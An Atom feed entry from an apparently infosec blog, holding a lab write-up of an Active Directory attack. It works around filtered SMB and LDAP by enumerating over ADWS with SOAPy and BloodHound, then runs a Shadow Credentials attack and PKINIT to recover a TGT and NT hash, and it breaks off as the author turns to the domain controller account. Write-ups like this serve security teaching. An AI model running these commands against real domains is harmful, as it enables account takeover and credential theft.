<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>resux1338</title>
    <subtitle>resux1338 - infosec.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://resux.xyz/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://resux.xyz"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-11-08T00:00:00+00:00</updated>
    <id>https://resux.xyz/atom.xml</id>
    <entry xml:lang="en">
        <title>Millennium</title>
        <published>2026-11-08T00:00:00+00:00</published>
        <updated>2026-11-08T00:00:00+00:00</updated>
        
        <author>
          <name>resux</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://resux.xyz/writeups/millennium/"/>
        <id>https://resux.xyz/writeups/millennium/</id>
        
        <content type="html" xml:base="https://resux.xyz/writeups/millennium/">&lt;blockquote&gt;
&lt;p&gt;As the operator, you are placed inside the corporate network. Traditional lateral movement paths such as SMB and LDAP are heavily restricted or monitored, forcing you to &lt;em&gt;&lt;strong&gt;heavily rethink&lt;/strong&gt;&lt;/em&gt; conventional Active Directory enumeration and attack strategies. Kindly provided credentials:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Username: tester&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Password: Pencil Testers&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;
&lt;p&gt;With 445/SMB and 389/636/LDAP both off the table, this lab pushes you to rethink the default opening against an AD environment.&lt;/p&gt;
&lt;h2 id=&quot;recon&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#recon&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;Recon&lt;/h2&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;nmap&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -sCV -p-&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -v -oN&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; nmap/tcp_full.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://resux.xyz/writeups/millennium/nmap.png&quot; alt=&quot;nmap scan results&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The interesting part is what&#39;s &lt;em&gt;missing&lt;/em&gt;: 445 (SMB) and 389/636 (LDAP/LDAPS) are filtered. What&#39;s left open is the Global Catalog on 3268/3269, ADWS on 9389, Kerberos on 88, and WinRM on 5985. nmap&#39;s &lt;code&gt;ssl-cert&lt;/code&gt; output also flagged an ADCS install, the issuer CN was &lt;code&gt;MILLENNIUM-DC01-CA&lt;/code&gt;. It doesn&#39;t end up being the path here, but it&#39;s worth noting.&lt;/p&gt;
&lt;p&gt;Kerberos is open, so grab a TGT for &lt;code&gt;tester&lt;/code&gt; and work from the ticket:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;impacket-getTGT&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; MILLENNIUM.CORP/tester:&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;Pencil Testers&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -dc-ip&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 10.1.35.184&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Saving ticket in tester.ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; KRB5CCNAME&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tester&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First instinct was to Kerberoast off that ticket:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;impacket-GetUserSPNs&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -request -dc-ip&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; MILLENNIUM.CORP/tester&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -k&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Password:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;[*] Getting machine hostname&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and it hangs. that &lt;code&gt;Getting machine hostname&lt;/code&gt; step opens an SMB session on 445 to resolve the DC name, and 445 is filtered, so it just sits there forever. even if it got past that, GetUserSPNs still needs LDAP on 389 to query for the SPNs, which is also filtered.&lt;/p&gt;
&lt;p&gt;so 389/636 are dead. but the directory itself is still sitting right there, and 389/636 aren&#39;t the only door into it.
This box leaves the Global Catalog open (3268/3269) and, more usefully, ADWS on 9389. ADWS is the one i care about: it hands back the same directory data on reads, and unlike the GC it also exposes a &lt;strong&gt;write&lt;/strong&gt; endpoint, which i&#39;ll need later for the shadow credentials write. certipy will try the GC in a minute and break on exactly that read-only limitation.&lt;/p&gt;
&lt;p&gt;So, SOAPy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SOAPy is intended to be used as an ADWS ingestor for Active Directory. The resultant data can then be transformed, using BOFHound, to ingest into BloodHound for post processing and visualization of attack paths.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Deep dive on ADWS enumeration from IBM X-Force: &lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://www.ibm.com/think/x-force/stealthy-enumeration-of-active-directory-environments-through-adws&quot;&gt;https://www.ibm.com/think/x-force/stealthy-enumeration-of-active-directory-environments-through-adws&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;enumeration-over-adws&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#enumeration-over-adws&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;Enumeration over ADWS&lt;/h2&gt;
&lt;h3 id=&quot;collecting-with-soapy&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#collecting-with-soapy&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;Collecting with SOAPy&lt;/h3&gt;
&lt;p&gt;Make a working directory for the logfiles:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;mkdir&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Grab PKI first. Those objects live in the Configuration partition, so the base DN has to point there, not at the domain root:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/tester:Pencil Testers@10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  -dn&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;CN=Public Key Services,CN=Services,CN=Configuration,DC=MILLENNIUM,DC=CORP&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  -q&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;(objectClass=*)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v1.0.0-dev  @_logangoins  github.com/jlevere&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Connecting to 10.1.35.184 for resource:Enumeration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using query: (objectClass=*)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using distingushedName: CN=Public Key Services,CN=Services,CN=Configuration,DC=MILLENNIUM,DC=CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Collecting ADWS data into .soapy_data; use --show to print BOFHound-compatible output&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Collecting ADWS data: 60 unique objects saved (+60 new this page; 60 received across 1 pages)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Base ADWS collection complete: 60 objects; collecting ranged attribute values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] ADWS data collection complete: 60 objects saved to .soapy_data; run SOAPy --show&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save that to a logfile:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --show&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;gt;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; data/beacon_soap_pki.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the domain itself (no &lt;code&gt;-dn&lt;/code&gt;, so it defaults to the domain root):&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/tester:Pencil Testers@10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -q&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;(objectClass=*)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Connecting to 10.1.35.184 for resource:Enumeration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using query: (objectClass=*)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using distingushedName: DC=MILLENNIUM,DC=CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Collecting ADWS data: 247 unique objects saved (+247 new this page; 247 received across 1 pages)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] ADWS data collection complete: 247 objects saved to .soapy_data; run SOAPy --show&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --show&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;gt;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; data/beacon_soap_domain.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;into-bloodhound&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#into-bloodhound&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;Into BloodHound&lt;/h3&gt;
&lt;p&gt;With both logfiles in hand, BOFHound builds the zip to ingest:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;bofhound&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -i&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; data/&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --zip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:52] INFO     Parsed 338 LDAP objects&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Processing 278 accumulated LDAP objects&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 7 Users&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 51 Groups&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 1 Computers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 1 Domains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 1 Enterprise CAs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Parsed 33 Cert Templates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[04:37:53] INFO     Processing 138 objects for ACL relationships...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Select the &lt;code&gt;tester&lt;/code&gt; node and find the path to Domain Admins:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://resux.xyz/writeups/millennium/bloodhound-chain.png&quot; alt=&quot;BloodHound path from tester to Domain Admins&quot; /&gt;&lt;/p&gt;
&lt;p&gt;beautiful.&lt;/p&gt;
&lt;p&gt;The path is short. &lt;code&gt;tester&lt;/code&gt; is a plain Domain User, and Domain Users has &lt;strong&gt;GenericAll&lt;/strong&gt; over SULLY, which is full control of that account. SULLY in turn has &lt;strong&gt;GenericWrite&lt;/strong&gt; over the DC01$ computer object. GenericWrite is enough for a Shadow Credentials attack: write your own key into &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt;, then authenticate as the account via PKINIT. And once i can auth as DC01$, i&#39;m effectively the domain controller, it has replication rights over the whole domain.&lt;/p&gt;
&lt;p&gt;So the plan is: take SULLY with the GenericAll, use SULLY&#39;s GenericWrite to take DC01$, then let the DC hand me the rest.&lt;/p&gt;
&lt;h2 id=&quot;foothold-shadow-credentials-on-sully&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#foothold-shadow-credentials-on-sully&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;Foothold: Shadow Credentials on SULLY&lt;/h2&gt;
&lt;h3 id=&quot;why-certipy-dies-here&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#why-certipy-dies-here&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;why certipy dies here&lt;/h3&gt;
&lt;p&gt;first move was certipy to add a Key Credential to SULLY, buttt it dropped immediately:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;Failed to update the Key Credentials: 00002035: LdapErr ... Operation not allowed through GC port&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;certipy only speaks LDAP. with 389/636 filtered, it fell through to the Global Catalog on 3269, and the GC is &lt;strong&gt;read-only&lt;/strong&gt;, you can&#39;t write &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; through it. so certipy can&#39;t land this write on this box at all.&lt;/p&gt;
&lt;p&gt;the fix is to do the write over ADWS (9389), which has a Resource (write) endpoint. SOAPy&#39;s built-in &lt;code&gt;--shadow-creds&lt;/code&gt; does the cert generation and the attribute write over ADWS in one shot.&lt;/p&gt;
&lt;h3 id=&quot;writing-the-key-over-adws&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#writing-the-key-over-adws&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;writing the key over ADWS&lt;/h3&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;SOAPy&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;MILLENNIUM.CORP/tester:Pencil Testers@10.1.35.184&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  --shadow-creds&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; add&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --shadow-target&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; SULLY&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;  --cert-filename&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; sullycert.pfx&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; --cert-password&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; sully&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Searching for target account: SULLY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Connecting to 10.1.35.184 for resource:Enumeration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Target found: CN=Sully,OU=ITOps,OU=Departments,DC=MILLENNIUM,DC=CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Generating certificate...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Certificate generated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Generating KeyCredential...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] KeyCredential generated with DeviceID: 0107e1d5-4c95-afaa-0241-59b80518d5dc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Updating msDS-KeyCredentialLink attribute...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;[*] Connecting to 10.1.35.184 for resource:Resource&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Successfully updated msDS-KeyCredentialLink&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] Saved PFX certificate: sullycert.pfx.pfx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[+] PFX password: sully&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;resource:Resource&lt;/code&gt; line is the whole point, that&#39;s the ADWS write endpoint certipy never had access to.&lt;/p&gt;
&lt;h3 id=&quot;pkinit-to-a-tgt-and-nt-hash&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#pkinit-to-a-tgt-and-nt-hash&quot; aria-label=&quot;Link to this section&quot;&gt;###&lt;/a&gt;PKINIT to a TGT and NT hash&lt;/h3&gt;
&lt;p&gt;With the PFX, &lt;a rel=&quot;noopener noreferrer external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/dirkjanm/PKINITtools&quot;&gt;PKINITtools&lt;/a&gt; turns the cert into (1) a TGT and (2) the account&#39;s NT hash.&lt;/p&gt;
&lt;p&gt;TGT first:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;gettgtpkinit.py&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -cert-pfx&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; sullycert.pfx.pfx&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -pfx-pass&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;sully&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; MILLENNIUM.CORP/sully sully.ccache&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 10:54:08,228 minikerberos INFO     Loading certificate and key from file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 10:54:08,240 minikerberos INFO     Requesting TGT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 10:54:38,616 minikerberos INFO     AS-REP encryption key (you might need this later):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;2026-11-08 10:54:38,616 minikerberos INFO     20de801cebfa6efd0d7fbf8b3d55f07b4e7500a3700a0dbaa773d68cef2f093d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;2026-11-08 10:54:38,619 minikerberos INFO     Saved TGT to file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; KRB5CCNAME&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;sully&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ccache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;klist&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Ticketzwischenspeicher: FILE:sully.ccache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Standard-Principal: sully@MILLENNIUM.CORP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Valid starting       Expires              Service principal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;08.11.2026 10:54:38  08.11.2026 20:54:38  krbtgt/MILLENNIUM.CORP@MILLENNIUM.CORP&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Feed that AS-REP key into &lt;code&gt;getnthash.py&lt;/code&gt; (it does a U2U request to recover the hash):&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;getnthash.py&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -key&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; 20de801cebfa6efd0d7fbf8b3d55f07b4e7500a3700a0dbaa773d68cef2f093d MILLENNIUM.CORP/sully&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Using TGT from cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[*] Requesting ticket to self with PAC&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Recovered NT Hash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l z-hl&quot;&gt;&lt;span&gt;7824282ac1df535de6726dac2b68556e&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;privesc-sully-to-dc01&quot;&gt;&lt;a class=&quot;anchor&quot; href=&quot;#privesc-sully-to-dc01&quot; aria-label=&quot;Link to this section&quot;&gt;##&lt;/a&gt;Privesc: SULLY to DC01$&lt;/h2&gt;
&lt;p&gt;Same chain again, one object over. Now i use SULLY&#39;s NT hash to write shadow creds onto the DC01$ machine account.&lt;/p&gt;
